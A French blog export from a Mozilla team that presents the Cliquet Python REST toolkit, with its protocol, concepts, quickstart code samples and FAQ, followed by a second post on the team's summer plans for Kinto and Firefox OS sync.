<img alt="Cliquet logo" class="align-center" src="{filename}/images/cliquet-logo.png" />
<div class="section" id="les-intentions">
<h3>Les intentions</h3>
<blockquote class="epigraph">
Quelle structure JSON pour mon API ? Quelle syntaxe pour filtrer la liste
via la querystring ? Comment gérer les écritures concurrentes ?
Et synchroniser les données dans mon application cliente ?</blockquote>
<p>Désormais, quand un projet souhaite bénéficier d'une API REST pour stocker et consommer
des données, il est possible d'utiliser le <strong>protocole HTTP</strong> proposé
et de se concentrer sur l'essentiel. Cela vaut aussi pour les clients, où
la majorité du code d'interaction avec le serveur est réutilisable.</p>
<blockquote class="epigraph">
Comment pouvons-nous vérifier que le service est opérationnel ? Quels indicateurs StatsD ?
Est-ce que Sentry est bien configuré ? Comment déployer une nouvelle version
sans casser les applications clientes ?</blockquote>
<p>Comme <em>Cliquet</em> fournit tout ce qui est nécessaire pour être conforme avec les
exigences de la <strong>mise en production</strong>, le passage du prototype au service opérationnel
est très rapide ! De base le service répondra aux attentes en terme supervision, configuration,
déploiement et dépréciation de version. Et si celles-ci évoluent, il suffira
de faire évoluer le toolkit.</p>
<blockquote class="epigraph">
Quel backend de stockage pour des documents JSON ? Comment faire si l'équipe
de production impose PostgreSQL ? Et si on voulait passer à Redis ou en
mémoire pour lancer les tests ?</blockquote>
<p>En terme d'implémentation, nous avons choisi de <strong>fournir des abstractions</strong>.
En effet, nous avions deux services dont le coeur consistait
à exposer un <em>CRUD</em> en <em>REST</em>, persistant des données JSON dans un backend.
Comme <em>Pyramid</em> et <em>Cornice</em> ne fournissent rien de tout prêt pour ça,
nous avons voulu introduire des classes de bases pour abstraire les notions
de resource REST et de backend de stockage.</p>
<p>Dans le but de tout rendre optionnel et «pluggable», <strong>tout est configurable</strong>
depuis le fichier <tt class="docutils literal">.ini</tt> de l'application. Ainsi tous les projets qui utilisent
le toolkit se déploieront de la même manière : seuls quelques éléments de configuration
les distingueront.</p>
<img alt="Une réunion à Paris..." class="align-center" src="{filename}/images/cliquet-notes-whiteboard.jpg" />
</div>
</div>
<div class="section" id="le-protocole">
<h2>Le protocole</h2>
<blockquote class="epigraph">
Est-ce suffisant de parler d'«API REST» ? Est-ce bien nécessaire de
relire la spec HTTP à chaque fois ? Pourquoi réinventer un protocole complet
à chaque fois ?</blockquote>
<p>Quand nous développons un (micro)service Web, nous dépensons généralement beaucoup
trop d'énergie à (re)faire des choix (arbitraires).</p>
<p>Nul besoin de lister ici tout ce qui concerne la dimension
de la spécification HTTP pure, qui nous impose le format des headers,
le support de CORS, la négocation de contenus (types mime), la différence entre
authentification et autorisation, la cohérence des code status...</p>
<p>Les choix principaux du protocole concernent surtout :</p>
<ul class="simple">
<li><strong>Les resources REST</strong> : Les deux URLs d'une resource (pour la collection
et les enregistrements) acceptent des verbes et des headers précis.</li>
<li><strong>Les formats</strong> : le format et la structure JSON des réponses est imposé, ainsi
que la <a class="reference external" href="{filename}/2015.05.continuation-token.rst">pagination des listes</a>
ou la syntaxe pour filtrer/trier les resources via la <a class="reference external" href="https://en.wikipedia.org/wiki/Query_string">querystring</a>.</li>
<li><strong>Les timestamps</strong> : un numéro de révision qui s'incrémente à chaque opération
d'écriture sur une collection d'enregistrements.</li>
<li><strong>La synchronisation</strong> : une série de leviers pour récupérer et renvoyer des
changements sur les données, sans perte ni collision, en utilisant les timestamps.</li>
<li><strong>Les permissions</strong> : les droits d'un utilisateur sur une collection ou un enregistrement
(<em>encore frais et sur le point d'être documenté</em>) <a class="footnote-reference" href="#id3" id="id1">[1]</a>.</li>
<li><strong>Opérations par lot</strong>: une URL qui permet d'envoyer une série de requêtes
décrites en JSON et d'obtenir les réponses respectives.</li>
</ul>
<p>Dans la dimension opérationnelle du protocole, on trouve :</p>
<ul class="simple">
<li><strong>La gestion de version</strong> : cohabitation de plusieurs versions en production,
avec alertes dans les entêtes pour la fin de vie des anciennes versions.</li>
<li><strong>Le report des requêtes</strong> : entêtes interprétées par les clients, activées en cas de
maintenance ou de surchage, pour ménager le serveur.</li>
<li><strong>Le canal d'erreurs</strong> : toutes les erreurs renvoyées par le serveur ont le même
format JSON et ont un numéro précis.</li>
<li><strong>Les utilitaires</strong> : URLs diverses pour répondre aux besoins exprimés par
l'équipe d'administrateurs (monitoring, metadonnées, paramètres publiques).</li>
</ul>
<p>Ce protocole est une compilation des bonnes pratiques pour les APIs HTTP (<em>c'est notre métier !</em>),
des conseils des administrateurs système dont c'est le métier de mettre à disposition des services
pour des millions d'utilisateurs et des retours d'expérience de l'équipe
de <em>Firefox Sync</em> pour la gestion de la concurrence et de l'«offline-first».</p>
<p>Il est <a class="reference external" href="http://cliquet.readthedocs.org/en/latest/api/index.html">documenté en détail</a>.</p>
<p>Dans un monde idéal, ce protocole serait versionné, et formalisé dans une RFC.
En rêve, il existerait même plusieurs implémentations avec des technologies différentes
(Python, Go, Node, etc.). <a class="footnote-reference" href="#id4" id="id2">[2]</a></p>
<table class="docutils footnote" frame="void" id="id3" rules="none">
<colgroup><col class="label" /><col /></colgroup>
<tbody valign="top">
<tr><td class="label"><a class="fn-backref" href="#id1">[1]</a></td><td>Voir notre <a class="reference external" href="{filename}/2015.05.cliquet-permissions.rst">article dédié sur les permissions</a></td></tr>
</tbody>
</table>
<table class="docutils footnote" frame="void" id="id4" rules="none">
<colgroup><col class="label" /><col /></colgroup>
<tbody valign="top">
<tr><td class="label"><a class="fn-backref" href="#id2">[2]</a></td><td>Rappel: nous sommes une toute petite équipe !</td></tr>
</tbody>
</table>
</div>
<div class="section" id="le-toolkit">
<h2>Le toolkit</h2>
<div class="section" id="choix-techniques">
<h3>Choix techniques</h3>
<p><em>Cliquet</em> implémente le protocole en Python (<em>2.7, 3.4+, pypy</em>), avec <a class="reference external" href="http://trypyramid.com/">Pyramid</a> <a class="footnote-reference" href="#id6" id="id5">[3]</a>.</p>
<p><strong>Pyramid</strong> est un framework Web qui va prendre en charge tout la partie HTTP,
et qui s'avère pertinent aussi bien pour des petits projets que des plus
ambitieux.</p>
<p><strong>Cornice</strong> est une extension de <em>Pyramid</em>, écrite en partie par Alexis et Tarek,
qui permet d'éviter d'écrire tout le code <em>boilerplate</em> quand on construit une
API REST avec Pyramid.</p>
<p>Avec <em>Cornice</em>, on évite de réécrire à chaque fois le code qui va
cabler les verbes HTTP aux méthodes, valider les entêtes, choisir le sérialiseur
en fonction des entêtes de négociation de contenus, renvoyer les codes HTTP
rigoureux, gérer les entêtes CORS, fournir la validation JSON à partir de schémas...</p>
<p><strong>Cliquet</strong> utilise les deux précédents pour implémenter le protocole et fournir
des abstractions, mais on a toujours <em>Pyramid</em> et <em>Cornice</em> sous la main pour
aller au delà de ce qui est proposé !</p>
<table class="docutils footnote" frame="void" id="id6" rules="none">
<colgroup><col class="label" /><col /></colgroup>
<tbody valign="top">
<tr><td class="label"><a class="fn-backref" href="#id5">[3]</a></td><td>Au tout début nous avons commencé une implémentation avec <em>Python-Eve</em>
(Flask), mais n'étions pas satisfaits de l'approche pour la configuration
de l'API. En particulier du côté magique.</td></tr>
</tbody>
</table>
</div>
<div class="section" id="concepts">
<h3>Concepts</h3>
<p>Bien évidemment, les concepts du toolkit reflètent ceux du protocole mais il y
a des éléments supplémentaires:</p>
<ul class="simple">
<li><strong>Les backends</strong> : abstractions pour le stockage, le cache et les permissions
(<em>ex. PostgreSQL, Redis, en-mémoire, ...</em>)</li>
<li><strong>La supervision</strong> : logging JSON et indicateurs temps-réel (<em>StatsD</em>) pour suivre les
performances et la santé du service.</li>
<li><strong>La configuration</strong> : chargement de la configuration depuis les variables
d'environnement et le fichier <tt class="docutils literal">.ini</tt></li>
<li><strong>La flexibilité</strong> : dés/activation ou substitution de la majorité des composants
depuis la configuration.</li>
<li><strong>Le profiling</strong> : utilitaires de développement pour trouver les <a class="reference external" href="https://fr.wiktionary.org/wiki/goulet_d%E2%80%99%C3%A9tranglement">goulets
d'étranglement</a>.</li>
</ul>
<img alt="Cliquet concepts" class="align-center" src="{filename}/images/cliquet-concepts.png" />
<p>Proportionnellement, l'implémentation du protocole pour les resources REST est
la plus volumineuse dans le code source de <em>Cliquet</em>.
Cependant, comme nous l'avons décrit plus haut, <em>Cliquet</em> fournit tout un
ensemble d'outillage et de bonnes pratiques, et reste
donc tout à fait pertinent pour n'importe quel type d'API, même sans
manipulation de données !</p>
<p>L'objectif de la boîte à outils est de faire en sorte qu'un développeur puisse constuire
une application simplement, en étant sûr qu'elle réponde aux exigeances de la
mise en production, tout en ayant la possibilité de remplacer certaines parties
au fur et à mesure que ses besoins se précisent.</p>
<p>Par exemple, la persistence fournie par défault est <em>schemaless</em> (e.g <em>JSONB</em>),
mais rien n'empêcherait d'implémenter le stockage dans un modèle relationnel.</p>
<p>Comme les composants peuvent être remplacés depuis la configuration, il est
tout à fait possible d'étendre <em>Cliquet</em> avec des notions métiers ou des
technologies exotiques ! Nous avons posé quelques idées dans <a class="reference external" href="http://cliquet.readthedocs.org/en/latest/ecosystem.html">la documentation
de l'éco-système</a>.</p>
<p>Dans les prochaines semaines, nous allons introduire la notion d'«évènements» (ou signaux),
qui permettraient aux extensions de s'interfacer beaucoup plus proprement.</p>
<p>Nous attachons beaucoup d'importance à la clareté du code, la pertinence des
<em>patterns</em>, des tests et de la documentation. Si vous avez des commentaires,
des critiques ou des interrogations, n'hésitez pas à <a class="reference external" href="https://github.com/mozilla-services/cliquet/issues">nous en faire part</a> !</p>
</div>
</div>
<div class="section" id="cliquet-a-l-action">
<h2>Cliquet, à l'action.</h2>
<p>Nous avons écrit un <a class="reference external" href="http://cliquet.readthedocs.org/en/latest/quickstart.html">guide de démarrage</a>,
qui n'exige pas de connaître <em>Pyramid</em>.</p>
<p>Pour illustrer la simplicité et les concepts, voici quelques extraits !</p>
<div class="section" id="etape-1">
<h3>Étape 1</h3>
<p>Activer <em>Cliquet</em>:</p>
<div class="highlight"><pre><span></span><span class="hll"><span class="kn">import</span> <span class="nn">cliquet</span>
</span><span class="kn">from</span> <span class="nn">pyramid.config</span> <span class="kn">import</span> <span class="n">Configurator</span>
<span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">global_config</span><span class="p">,</span> <span class="o">**</span><span class="n">settings</span><span class="p">):</span>
<span class="n">config</span> <span class="o">=</span> <span class="n">Configurator</span><span class="p">(</span><span class="n">settings</span><span class="o">=</span><span class="n">settings</span><span class="p">)</span>
<span class="hll"> <span class="n">cliquet</span><span class="o">.</span><span class="n">initialize</span><span class="p">(</span><span class="n">config</span><span class="p">,</span> <span class="s1">'1.0'</span><span class="p">)</span>
</span> <span class="k">return</span> <span class="n">config</span><span class="o">.</span><span class="n">make_wsgi_app</span><span class="p">()</span>
</pre></div>
<p>À partir de là, la plupart des outils de <em>Cliquet</em> sont activés et accessibles.</p>
<p>Par exemple, les URLs <em>hello</em> (<tt class="docutils literal">/v1/</tt>) ou <em>supervision</em> (<tt class="docutils literal">/v1/__heartbeat__</tt>).
Mais aussi les backends de stockage, de cache, etc.
qu'il est possible d'utiliser dans des vues classiques <em>Pyramid</em> ou <em>Cornice</em>.</p>
</div>
<div class="section" id="etape-2">
<h3>Étape 2</h3>
<p>Ajouter des vues:</p>
<div class="highlight"><pre><span></span><span class="k">def</span> <span class="nf">main</span><span class="p">(</span><span class="n">global_config</span><span class="p">,</span> <span class="o">**</span><span class="n">settings</span><span class="p">):</span>
<span class="n">config</span> <span class="o">=</span> <span class="n">Configurator</span><span class="p">(</span><span class="n">settings</span><span class="o">=</span><span class="n">settings</span><span class="p">)</span>
<span class="n">cliquet</span><span class="o">.</span><span class="n">initialize</span><span class="p">(</span><span class="n">config</span><span class="p">,</span> <span class="s1">'1.0'</span><span class="p">)</span>
<span class="hll"> <span class="n">config</span><span class="o">.</span><span class="n">scan</span><span class="p">(</span><span class="s2">"myproject.views"</span><span class="p">)</span>
</span> <span class="k">return</span> <span class="n">config</span><span class="o">.</span><span class="n">make_wsgi_app</span><span class="p">()</span>
</pre></div>
<p>Pour définir des resources CRUD, il faut commencer par définir un schéma,
avec <em>Colander</em>, et ensuite déclarer une resource:</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">cliquet</span> <span class="kn">import</span> <span class="n">resource</span><span class="p">,</span> <span class="n">schema</span>
<span class="k">class</span> <span class="nc">BookmarkSchema</span><span class="p">(</span><span class="n">schema</span><span class="o">.</span><span class="n">ResourceSchema</span><span class="p">):</span>
<span class="n">url</span> <span class="o">=</span> <span class="n">schema</span><span class="o">.</span><span class="n">URL</span><span class="p">()</span>
<span class="hll"><span class="nd">@resource</span><span class="o">.</span><span class="n">register</span><span class="p">()</span>
</span><span class="hll"><span class="k">class</span> <span class="nc">Bookmark</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">BaseResource</span><span class="p">):</span>
</span><span class="hll"> <span class="n">mapping</span> <span class="o">=</span> <span class="n">BookmarkSchema</span><span class="p">()</span>
</span></pre></div>
<p>Désormais, la resource CRUD est disponible sur <tt class="docutils literal">/v1/bookmarks</tt>, avec toutes
les fonctionnalités de synchronisation, filtrage, tri, pagination, timestamp, etc.
De base les enregistrements sont privés, par utilisateur.</p>
<div class="highlight"><pre><span></span><span class="err">$</span> <span class="err">http</span> <span class="err">GET</span> <span class="s2">"http://localhost:8000/v1/bookmarks"</span>
<span class="err">HTTP/</span><span class="mf">1.1</span> <span class="mi">200</span> <span class="err">OK</span>
<span class="err">...</span>
<span class="p">{</span>
<span class="nt">"data"</span><span class="p">:</span> <span class="p">[</span>
<span class="p">{</span>
<span class="nt">"url"</span><span class="p">:</span> <span class="s2">"http://cliquet.readthedocs.org"</span><span class="p">,</span>
<span class="nt">"id"</span><span class="p">:</span> <span class="s2">"cc103eb5-0c80-40ec-b6f5-dad12e7d975e"</span><span class="p">,</span>
<span class="nt">"last_modified"</span><span class="p">:</span> <span class="mi">1437034418940</span><span class="p">,</span>
<span class="p">}</span>
<span class="p">]</span>
<span class="p">}</span>
</pre></div>
</div>
<div class="section" id="etape-3">
<h3>Étape 3</h3>
<p>Évidemment, il est possible choisir les URLS, les verbes HTTP supportés, de modifier
des champs avant l'enregistrement, etc.</p>
<div class="highlight"><pre><span></span><span class="hll"><span class="nd">@resource</span><span class="o">.</span><span class="n">register</span><span class="p">(</span><span class="n">collection_path</span><span class="o">=</span><span class="s1">'/user/bookmarks'</span><span class="p">,</span>
</span><span class="hll"> <span class="n">record_path</span><span class="o">=</span><span class="s1">'/user/bookmarks/{{id}}'</span><span class="p">,</span>
</span><span class="hll"> <span class="n">collection_methods</span><span class="o">=</span><span class="p">(</span><span class="s1">'GET'</span><span class="p">,))</span>
</span><span class="k">class</span> <span class="nc">Bookmark</span><span class="p">(</span><span class="n">resource</span><span class="o">.</span><span class="n">BaseResource</span><span class="p">):</span>
<span class="n">mapping</span> <span class="o">=</span> <span class="n">BookmarkSchema</span><span class="p">()</span>
<span class="hll"> <span class="k">def</span> <span class="nf">process_record</span><span class="p">(</span><span class="bp">self</span><span class="p">,</span> <span class="n">new</span><span class="p">,</span> <span class="n">old</span><span class="o">=</span><span class="kc">None</span><span class="p">):</span>
</span><span class="hll"> <span class="k">if</span> <span class="n">old</span> <span class="ow">is</span> <span class="ow">not</span> <span class="kc">None</span> <span class="ow">and</span> <span class="n">new</span><span class="p">[</span><span class="s1">'device'</span><span class="p">]</span> <span class="o">!=</span> <span class="n">old</span><span class="p">[</span><span class="s1">'device'</span><span class="p">]:</span>
</span><span class="hll"> <span class="n">device</span> <span class="o">=</span> <span class="bp">self</span><span class="o">.</span><span class="n">request</span><span class="o">.</span><span class="n">headers</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="s1">'User-Agent'</span><span class="p">)</span>
</span><span class="hll"> <span class="n">new</span><span class="p">[</span><span class="s1">'device'</span><span class="p">]</span> <span class="o">=</span> <span class="n">device</span>
</span><span class="hll"> <span class="k">return</span> <span class="n">new</span>
</span></pre></div>
<p><a class="reference external" href="http://cliquet.readthedocs.org/en/latest/reference/resource.html">Plus d'infos dans la documentation dédiée</a> !</p>
<div class="admonition note">
<p class="first admonition-title">Note</p>
<p class="last">Il est possible de définir des resources sans validation de schema.
<a class="reference external" href="https://github.com/mozilla-services/kinto/blob/master/kinto/views/records.py">Voir le code source de Kinto</a>.</p>
</div>
</div>
<div class="section" id="etape-4-optionelle">
<h3>Étape 4 (optionelle)</h3>
<p>Utiliser les abstractions de <em>Cliquet</em> dans une vue <em>Cornice</em>.</p>
<p>Par exemple, une vue qui utilise le backend de stockage:</p>
<div class="highlight"><pre><span></span><span class="kn">from</span> <span class="nn">cliquet</span> <span class="kn">import</span> <span class="n">Service</span>
<span class="n">score</span> <span class="o">=</span> <span class="n">Service</span><span class="p">(</span><span class="n">name</span><span class="o">=</span><span class="s2">"score"</span><span class="p">,</span>
<span class="n">path</span><span class="o">=</span><span class="s1">'/score/</span><span class="si">{game}</span><span class="s1">'</span><span class="p">,</span>
<span class="n">description</span><span class="o">=</span><span class="s2">"Store game score"</span><span class="p">)</span>
<span class="nd">@score</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="n">schema</span><span class="o">=</span><span class="n">ScoreSchema</span><span class="p">)</span>
<span class="k">def</span> <span class="nf">post_score</span><span class="p">(</span><span class="n">request</span><span class="p">):</span>
<span class="n">collection_id</span> <span class="o">=</span> <span class="s1">'scores-'</span> <span class="o">+</span> <span class="n">request</span><span class="o">.</span><span class="n">match_dict</span><span class="p">[</span><span class="s1">'game'</span><span class="p">]</span>
<span class="n">user_id</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">authenticated_userid</span>
<span class="n">value</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">validated</span> <span class="c1"># c.f. Cornice.</span>
<span class="hll"> <span class="n">storage</span> <span class="o">=</span> <span class="n">request</span><span class="o">.</span><span class="n">registry</span><span class="o">.</span><span class="n">storage</span>
</span><span class="hll"> <span class="n">record</span> <span class="o">=</span> <span class="n">storage</span><span class="o">.</span><span class="n">create</span><span class="p">(</span><span class="n">collection_id</span><span class="p">,</span> <span class="n">user_id</span><span class="p">,</span> <span class="n">value</span><span class="p">)</span>
</span> <span class="k">return</span> <span class="n">record</span>
</pre></div>
</div>
</div>
<div class="section" id="vos-retours">
<h2>Vos retours</h2>
<p>N'hésitez pas à nous faire part de vos retours ! Cela vous a donné envie
d'essayer ? Vous connaissez un outil similaire ?
Y-a-t-il des points qui ne sont pas clairs ? Manque de cas d'utilisation concrets ?
Certains aspects mal pensés ? Trop contraignants ? Trop de magie ? Overkill ?</p>
<p>Nous prenons tout.</p>
<div class="section" id="points-faibles">
<h3>Points faibles</h3>
<p>Nous sommes très fiers de ce que nous avons construit, en relativement peu
de temps. Et comme nous l'exposions dans <a class="reference external" href="{filename/2015.07.whistler-use-cases.rst}">l'article précédent</a>, il y a du potentiel !</p>
<p>Cependant, nous sommes conscients d'un certain nombre de points
qui peuvent être vus comme des faiblesses.</p>
<ul class="simple">
<li><strong>La documentation d'API</strong> : actuellement, nous n'avons pas de solution pour qu'un
projet qui utilise <em>Cliquet</em> puisse intégrer facilement toute
<a class="reference external" href="http://cliquet.readthedocs.org/en/latest/api/index.html">la documentation de l'API</a>
obtenue.</li>
<li><strong>La documentation</strong> : il est très difficile d'organiser la documentation, surtout
quand le public visé est aussi bien débutant qu'expérimenté. Nous sommes probablement
victimes du «<a class="reference external" href="https://en.wikipedia.org/wiki/Curse_of_knowledge">curse of knowledge</a>».</li>
<li><strong>Le protocole</strong> : on sent bien qu'on va devoir versionner le protocole. Au
moins pour le désolidariser des versions de <em>Cliquet</em>, si on veut aller au
bout de la philosophie et de l'éco-système.</li>
<li><strong>Le conservatisme</strong> : Nous aimons la stabilité et la robustesse. Mais surtout
nous ne sommes pas tout seuls et devons nous plier aux contraintes de la mise
en production ! Cependant, nous avons très envie de faire de l'async avec Python 3 !</li>
<li><strong>Publication de versions</strong> : le revers de la médaille de la factorisation. Il
arrive qu'on préfère faire évoluer le toolkit (e.g. ajouter une option) pour
un point précis d'un projet. En conséquence, on doit souvent releaser les
projets en cascade.</li>
</ul>
</div>
<div class="section" id="quelques-questions-courantes">
<h3>Quelques questions courantes</h3>
<blockquote>
Pourquoi Python ?</blockquote>
<p>On prend beaucoup de plaisir à écrire du Python, et le calendrier annoncé
initialement était très serré: pas question de tituber avec une technologie
mal maitrisée !</p>
<p>Et puis, après avoir passé près d'un an sur un projet Node.js, l'équipe avait
bien envie de refaire du Python.</p>
<blockquote>
Pourquoi pas Django ?</blockquote>
<p>On y a pensé, surtout parce qu'il y a plusieurs fans de <em>Django REST Framework</em>
dans l'équipe.</p>
<p>On l'a écarté principalement au profit de la légèreté et la modularité de
<em>Pyramid</em>.</p>
<blockquote>
Pourquoi pas avec un framework asynchrone en Python 3+ ?</blockquote>
<p>Pour l'instant nos administrateurs système nous imposent des déploiements en
Python 2.7, à notre grand désarroi /o\</p>
<p>Pour <em>Reading List</em>, nous <a class="reference external" href="https://github.com/mozilla-services/readinglist/blob/1.7.0/readinglist/__init__.py#L19-L26">avions activé</a>
<em>gevent</em>.</p>
<p>Puisque l'approche consiste à implémenter un protocole bien déterminé, nous n'excluons
pas un jour d'écrire un <em>Cliquet</em> en <em>aiohttp</em> ou <em>Go</em> si cela s'avèrerait pertinent.</p>
<blockquote>
Pourquoi pas JSON-API ?</blockquote>
<p>Comme nous l'expliquions <a class="reference external" href="{filename}/2015.05.retour-apidays.rst">au retour des APIdays</a>,
JSON-API est une spécification qui rejoint plusieurs de nos intentions.</p>
<p>Quand nous avons commencé le protocole, nous ne connaissions pas JSON-API.
Pour l'instant, comme notre proposition est beaucoup plus minimaliste, le
rapprochement n'a <a class="reference external" href="https://github.com/mozilla-services/cliquet/issues/254">pas dépassé le stade de la discussion</a>.</p>
<blockquote>
Est-ce que Cliquet est un framework REST pour Pyramid ?</blockquote>
<p>Non.</p>
<p>Au delà des classes de resources CRUD de Cliquet, qui implémentent un
protocole bien précis, il faut utiliser Cornice ou Pyramid directement.</p>
<blockquote>
Est-ce que Cliquet est suffisamment générique pour des projets hors Mozilla ?</blockquote>
<p>Premièrement, nous faisons en sorte que tout soit contrôlable depuis la
configuration <tt class="docutils literal">.ini</tt> pour permettre la dés/activation ou substitution des
composants.</p>
<p>Si le protocole HTTP/JSON des resources CRUD vous satisfait,
alors Cliquet est probablement le plus court chemin pour construire une
application qui tient la route.</p>
<p>Mais l'utilisation des resources CRUD est facultative, donc Cliquet reste pertinent
si les bonnes pratiques en terme de mise en production ou les abstractions fournies
vous paraissent valables !</p>
<p>Cliquet reste un moyen simple d'aller très vite pour mettre sur pied
une application Pyramid/Cornice.</p>
<blockquote>
Est-ce que les resources JSON supporte les modèles relationnels complexes ?</blockquote>
<p>La couche de persistence fournie est très simple, et devrait
répondre à la majorité des cas d'utilisation où les données n'ont pas de
relations.</p>
<p>En revanche, il est tout à fait possible de bénéficier de tous les aspects
du protocole en utilisant une classe <tt class="docutils literal">Collection</tt> maison, qui se chargerait
elle de manipuler les relations.</p>
<p>Le besoin de relations pourrait être un bon prétexte pour implémenter le
protocole avec Django REST Framework :)</p>
<blockquote>
Est-il possible de faire ci ou ça avec Cliquet ?</blockquote>
<p>Nous aimerions collecter des besoins pour écrire un ensemble de «recettes/tutoriels». Mais
pour ne pas travailler dans le vide, nous aimerions <a class="reference external" href="https://github.com/mozilla-services/cliquet/issues">connaitre vos idées</a> !
(<em>ex. brancher l'authentification Github, changer le format du logging JSON, stocker des
données cartographiques, ...</em>)</p>
<blockquote>
Est-ce que Cliquet peut manipuler des fichiers ?</blockquote>
<p><a class="reference external" href="https://github.com/mozilla-services/cliquet/issues/236">Nous l'envisageons</a>,
mais pour l'instant nous attendons que le besoin survienne en interne pour se
lancer.</p>
<p>Si c'est le cas, le protocole utilisé sera <a class="reference external" href="http://remotestorage.io/">Remote Storage</a>,
afin notamment de s'intégrer dans l'éco-système grandissant.</p>
<blockquote>
Est-ce que la fonctionnalité X va être implémentée ?</blockquote>
<p><em>Cliquet</em> est déjà bien garni. Plutôt qu'implémenter la fonctionnalité X,
il y a de grandes chances que nous agissions pour s'assurer que les abstractions
et les mécanismes d'extension fournis permettent de l'implémenter sous forme
d'extension.</p>
</div>
</div>
Service de nuages : Perspectives pour l'été2015-07-07T00:00:00+02:002015-07-07T00:00:00+02:00tag:blog.notmyidea.org,2015-07-07:/service-de-nuages-perspectives-pour-lete-fr.html<p class="first last">Le travail en cours et les fonctionnalités à venir pour les prochains mois.</p>
<p><em>Cet article est repris depuis le blog « Service de Nuages » de mon équipe à Mozilla</em></p>
<p>Mozilla a pour coutume d'organiser régulièrement des semaines de travail où tous les employés
sont réunis physiquement. Pour cette dernière édition, nous avons pu retrouver
nos collègues du monde entier à <a class="reference external" href="http://www.openstreetmap.org/node/268148288#map=4/50.12/-122.95">Whistler, en Colombie Britannique au Canada</a> !</p>
<img alt="«All Hands» talk about Lego, by @davidcrob - CC0" class="align-center" src="{filename}/images/whistler-talks.jpg" />
<p>Ce fût l'occasion pour notre équipe de se retrouver, et surtout de partager notre
vision et nos idées dans le domaine du stockage, afin de collecter des cas d'utilisation pour
notre solution <a class="reference external" href="https://kinto.readthedocs.org">Kinto</a>.</p>
<p>Dans cet article, nous passons en revue les pistes que nous avons pour
les prochains mois.</p>
<div class="section" id="ateliers-et-promotion">
<h2>Ateliers et promotion</h2>
<p>Nicolas a présenté <a class="reference external" href="https://github.com/mozilla-services/kinto.js">Kinto.js</a> dans un atelier dédié, avec comme support de
présentation le <a class="reference external" href="http://kintojs.readthedocs.org/en/latest/tutorial/">tutorial d'introduction</a>.</p>
<p>L'application résultante, pourtant toute simple, permet d'appréhender les
concepts de synchronisation de Kinto. Le tout sans installation prélable,
puisque Rémy a mis en place un <a class="reference external" href="https://kinto.dev.mozaws.net/v1/">serveur de dev effacé tous les jours</a>.</p>
<p>Nous avions mis un point d'honneur à faire du Vanilla.JS, déjà pour éviter les
combats de clochers autour des frameworks, mais aussi pour mettre en évidence qu'avec
HTML5 et ES6, on n'était plus aussi démunis qu'il y a quelques années.</p>
<p>Ce petit atelier nous a permis de nous rendre compte qu'on avait encore de
grosses lacunes en terme de documentation, surtout en ce qui concerne
l'éco-système et la vision globale des projets (Kinto, Kinto.js, Cliquet, ...).
Nous allons donc faire de notre mieux pour combler ce manque.</p>
<img alt="Kinto.js workshop - CC0" class="align-center" src="{filename}/images/whistler-workshop.jpg" />
</div>
<div class="section" id="mozilla-payments">
<h2>Mozilla Payments</h2>
<p>Comme <a class="reference external" href="http://www.servicedenuages.fr/la-gestion-des-permissions">décrit précédemment</a>, nous avons mis en place un système de permissions pour répondre aux besoins de suivi des paiements et abonnements.</p>
<p>Pour ce projet, Kinto sera utilisé depuis une application Django, via un client Python.</p>
<p>Maintenant que les développements ont été livrés, il faut transformer l'essai, réussir l'intégration, l'hébergement et la montée en puissance. La solution doit être livrée à la fin de l'année.</p>
<div class="section" id="a-venir">
<h3>À venir</h3>
<p>Nous aimerions en profiter pour implémenter une fonctionnalité qui nous tient à coeur : la construction de la liste des enregistrements accessibles en lecture sur une collection partagée.</p>
<img alt="Whistler Alta Lake - CC0" class="align-center" src="{filename}/images/whistler-lake.jpg" />
</div>
</div>
<div class="section" id="firefox-os-et-stockage">
<h2>Firefox OS et stockage</h2>
<p>Nous avons eu beaucoup d'échanges avec l'équipe de Firefox OS, avec qui nous avions
déjà eu l'occasion de collaborer, pour le <a class="reference external" href="https://github.com/mozilla-services/msisdn-gateway">serveur d'identification BrowserID par SMS</a> et pour <a class="reference external" href="https://github.com/mozilla-services/loop-server">Firefox Hello</a>.</p>
<div class="section" id="in-app-sync">
<h3>In-App sync</h3>
<p>Kinto, la solution simple promue pour la synchronisation de données dans les applications
Firefox OS ? La classe ! C'est ce qu'on avait en tête depuis longtemps, déjà à
l'époque avec <a class="reference external" href="http://daybed.readthedocs.org/">Daybed</a>. Voici donc une belle opportunité à saisir !</p>
<p>Il va falloir expliciter les limitations et hypothèses simplificatrices de notre
solution, surtout en termes de gestion de la concurrence. Nous sommes persuadés
que ça colle avec la plupart des besoins, mais il ne faudrait pas décevoir :)</p>
<p>Le fait que <a class="reference external" href="https://github.com/daleharvey">Dale</a>, un des auteurs de <a class="reference external" href="http://pouchdb.com/">PouchDB</a> et <a class="reference external" href="https://github.com/michielbdejong">Michiel de Jong</a>, un des auteurs de <a class="reference external" href="http://remotestorage.io/">Remote Storage</a>, nous aient encouragés sur nos premiers pas nous a bien motivé !</p>
</div>
<div class="section" id="cut-the-rope">
<h3>Cut the Rope</h3>
<p>Kinto devrait être mis à profit pour synchroniser les paramètres et les scores
du <a class="reference external" href="http://mozilla.cuttherope.net/">jeu</a>. Un premier exercice et une première vitrine sympas !</p>
</div>
<div class="section" id="syncto">
<h3>« SyncTo »</h3>
<p><a class="reference external" href="https://docs.services.mozilla.com/storage/apis-1.5.html">Firefox Sync</a> est la solution qui permet de synchroniser les données de Firefox (favoris, extensions, historique, complétion des formulaires, mots de passe, ...) entre plusieurs périphériques, de manière chiffrée.</p>
<p>L'implémentation du client en JavaScript est relativement complexe et date un peu maintenant.
Le code existant n'est pas vraiment portable dans <em>Firefox OS</em> et les tentatives de réécriture
n'ont pas abouti.</p>
<p>Nous souhaitons implémenter un pont entre <em>Kinto</em> et <em>Firefox Sync</em>, de manière
à pouvoir utiliser le client <em>Kinto.js</em>, plus simple et plus moderne, pour récupérer
les contenus et les stocker dans IndexedDB. Le delta à implémenter côté serveur est faible car nous nous étions
inspirés du protocole déjà éprouvé de Sync. Côté client, il s'agira surtout de
câbler l'authentification BrowserId et la Crypto.</p>
